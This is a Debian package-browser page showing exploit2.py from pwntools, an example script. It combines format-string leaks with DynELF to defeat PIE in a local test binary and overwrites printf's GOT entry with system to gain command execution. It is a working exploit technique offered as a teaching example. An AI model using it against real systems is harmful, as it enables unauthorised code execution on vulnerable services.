File: exploit2.py

package info (click to toggle)
pwntools 4.15.0-1
  • links: PTS, VCS
  • area: main
  • in suites: forky, sid
  • size: 18,508 kB
  • sloc: python: 59,870; ansic: 48,351; asm: 45,047; sh: 396; makefile: 256
file content (68 lines) | stat: -rwxr-xr-x 1,939 bytes parent folder | download | duplicates (3)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
"""
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
"""

from pwn import *

def exploit(e):
    p = e.process()

    def executer(fmt):
        p.sendline(fmt)
        p.stdin.flush()
        r = p.recvuntil(b'again=\n')
        return r
    f = FmtStr(executer)

    # find some code pointer on stack
    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
    min_code_ptr = 0x10 << addrbits-8
    max_code_ptr = 0x7e << addrbits-8
    for off in range(64):
        random_code_ptr = f.leak_stack(off)
        packed = bytearray(pack(random_code_ptr))
        chars = set(packed) - {0}
        # simple heuristic
        if (min_code_ptr < random_code_ptr < max_code_ptr
            and max(chars) > 0x80 and min(chars) < 0x80
            and not hex(random_code_ptr).startswith('0x7ff')):
            break

    log.info("Code ptr: %#x"%random_code_ptr)

    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)

    print("Stack: %#x" % (online_elf.stack(),))
    print("Heap: %#x" % (online_elf.heap(),))

    info("Finding base address of the executable")
    for ref in e.sym:
        if not ref:
            continue
        # if we have the address of a symbol on remote, we know the offset
        ref_addr = online_elf.lookup(ref)
        if ref_addr:
            print("%s: %r" % (ref, ref_addr))
            break

    system = online_elf.lookup('system', 'libc')
    print("system: %#x" % system)

    # fix up the address
    e.address += ref_addr - e.sym[ref]

    # actual exploit: overwrite printf with system
    f.write(e.sym.got.printf, system)
    f.execute_writes()

    p.sendline(b'echo ::$(( 16 * 16 ))')
    p.recvuntil(b'::')
    line = p.recvline()
    assert line == b'256\n'
    p.sendline(b'exit')
    p.close()


for context.binary in 'printf-loop.native32', 'printf-loop.native':
    exploit(context.binary)